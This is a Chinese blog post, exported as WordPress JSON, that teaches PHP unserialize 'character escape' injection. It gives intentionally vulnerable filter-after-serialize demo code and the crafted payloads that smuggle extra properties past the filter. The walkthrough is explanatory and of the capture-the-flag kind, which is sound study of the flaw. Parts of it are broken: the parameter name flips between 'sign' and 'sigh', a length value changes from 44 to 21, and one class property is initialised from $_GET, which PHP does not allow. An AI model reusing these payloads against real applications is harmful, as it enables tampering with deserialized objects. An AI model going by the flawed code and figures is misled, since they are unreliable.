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\u539f\u7406\uff1aphp\u53cd\u5e8f\u5217\u5316\u6839\u636es\u6240\u6307\u5b9a\u7684\u5b57\u7b26\u957f\u5ea6\u53bb\u8bfb\u53d6\u540e\u8fb9\u7684\u5b57\u7b26\uff0c\u7531\u4e8e\u8fc7\u6ee4\u5668\u5bf9\u5b57\u7b26\u66ff\u6362\u6216\u5220\u9664\u540e\u4f1a\u5bfc\u81f4\u5b57\u7b26\u4e32\u957f\u5ea6\u53d8\u5316\uff0c\u53ef\u4ee5\u5229\u7528\u8fd9\u70b9\u7ed3\u5408\u63d0\u524d\u95ed\u5408\u5c5e\u6027\u548c\u5bf9\u8c61\u8ba9\u53cd\u5e8f\u5217\u5316\u89e3\u6790\u5668\u201d\u541e\u6389\u201c\u4e0b\u4e00\u4e2a\u5c5e\u6027\u6216\u8005\u201c\u5410\u51fa\u201d\u4e00\u4e2a\u65b0\u5c5e\u6027\uff0c\u600e\u6837\u53ef\u4ee5\u6784\u9020\u51fa\u81ea\u5b9a\u4e49\u5c5e\u6027<\/p>\n
<?php\nfunction str_rep($string){\n return preg_replace( '\/php|test\/','', $string);\n}\n\n$test['name'] = $_GET['name'];\n$test['sign'] = $_GET['sign']; \n$test['number'] = '2025';\n$temp = str_rep(serialize($test));\nprintf($temp);\n$fake = unserialize($temp);\necho '<br>';\nprint(\"name:\".$fake['name'].'<br>');\nprint(\"sign:\".$fake['sign'].'<br>');\nprint(\"number:\".$fake['number'].'<br>');\n?><\/code><\/pre>\n\u8fd9\u91cc\u8fc7\u6ee4\u5668\u4f1a\u5c06php\u548ctest\u66ff\u6362\u4e3a\u7a7a\uff0c\u90a3\u4e48\u53ef\u4ee5\u6076\u610f\u6784\u9020\u541e\u6389sigh\u5c5e\u6027\u5e76\u6784\u9020\u65b0\u7684sigh<\/p>\n
\u6784\u9020\u51fa\u7684\u6b63\u5219\u66ff\u6362\u540e\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff1a<\/p>\n
a:3:{s:4:\"name\";s:19:\"\";s:4:\"sign\";s:44:\"\"s:4:\"sigh\";s:4:\"inex\";s:6:\"number\";i:2026;}\";s:6:\"number\";i:2025;}<\/code><\/pre>\n\u8fd9\u6837\u89e3\u6790\u5668\u89e3\u6790\u662f\u5c31\u4f1a\u53d8\u6210\uff1a<\/p>\n
a:3:{\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0s:4:\"name\";s:19:\"\";s:4:\"sign\";s:21:\"\"\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0s:4:\"sigh\";s:4:\"inex\";\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0s:6:\"number\";i:2026;\n\u00a0\u00a0\u00a0\u00a0}\";s:6:\"number\";i:2025;}\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u7531\u4e8e\u63d0\u524d\u95ed\u5408\";s:6:\"number\";i:2025;}\u4f1a\u88ab\u820d\u5f03<\/code><\/pre>\n\u9700\u8981name\u5143\u7d20\u66ff\u6362\u524d\u4e3a\u957f19\u7684\u5b57\u7b26\u4e32\uff0c\u66ff\u6362\u540e\u4e3a\u7a7a\uff0c\u6784\u9020testtesttesttestphp\u5373\u53ef<\/p>\n
\u90a3\u4e48\u53ef\u4ee5\u4f20\u53c2\uff1a<\/p>\n
?name=testtesttesttestphp&sigh=\"s:4:\"sigh\";s:4:\"inex\";s:6:\"number\";i:2026;}<\/code><\/pre>\n\u589e\u957f\u9003\u9038\uff1a<\/h2>\n
\u539f\u7406\u5dee\u4e0d\u591a\uff0c\u53ea\u662f\u662f\u7531\u4e8e\u8fc7\u6ee4\u66ff\u6362\u540e\u5b57\u7b26\u4e32\u53d8\u957f\u6ca1\u89e3\u6790\u5b8c\u4e00\u4e2a\u5c5e\u6027\u7684\u6240\u6709\u5b57\u7b26\u5bfc\u81f4\u53ef\u4ee5\u5229\u7528\u6ca1\u89e3\u6790\u5230\u7684\u5b57\u7b26\u63d2\u5165\u65b0\u7684\u5c5e\u6027<\/p>\n
<?php\nfunction filter($str){\n return str_replace('bb', 'ccc', $str);\n}\nclass A{\n public $name=$_GET['name'];\n public $pass='123456';\n}\n$AA=new A();\necho serialize($AA).\"n\";\n$res=filter(serialize($AA));\n\n$c=unserialize($res);\necho $c->pass;\n?><\/code><\/pre>\n\u90a3\u4e48\u6784\u9020\u6076\u610f\u5c5e\u6027\uff1a<\/p>\n
\"s:4:\"pass\";s:4:\"inex\";}<\/code><\/pre>\n\u8981\u8ba9\u8fd924\u4e2a\u5b57\u7b26\u9003\u9038\u51fa\u6765\u9700\u898124\u4e2abb<\/p>\n
\u4f20\u53c2\uff1a<\/p>\n
?name=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\"s:4:\"pass\";s:4:\"inex\";}<\/code><\/pre>\n\u5e8f\u5217\u5316\u66ff\u6362\u540e\uff1a<\/p>\n
O:1:\"A\":2:{s:4:\"name\";s:72:\"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\"s:4:\"pass\";s:4:\"inex\";}\";s:4:\"pass\";s:6:\"123456\";}<\/code><\/pre>\n\u8fd9\u6837\u4fbf\u6210\u529f\u6784\u9020<\/p>\n","protected":false},"excerpt":{"rendered":"
php\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u9003\u9038 \u524d\u63d0\uff1a\u5148\u5e8f\u5217\u5316\u518d\u5bf9\u5b57\u7b26\u4e32\u8fdb\u884c\u8fc7\u6ee4 \u539f\u7406\uff1aphp\u53cd\u5e8f\u5217\u5316\u6839\u636es\u6240\u6307\u5b9a\u7684\u5b57\u7b26\u957f\u5ea6\u53bb\u8bfb\u53d6\u540e\u8fb9 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-48","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/48","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=48"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/48\/revisions"}],"predecessor-version":[{"id":57,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/48\/revisions\/57"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}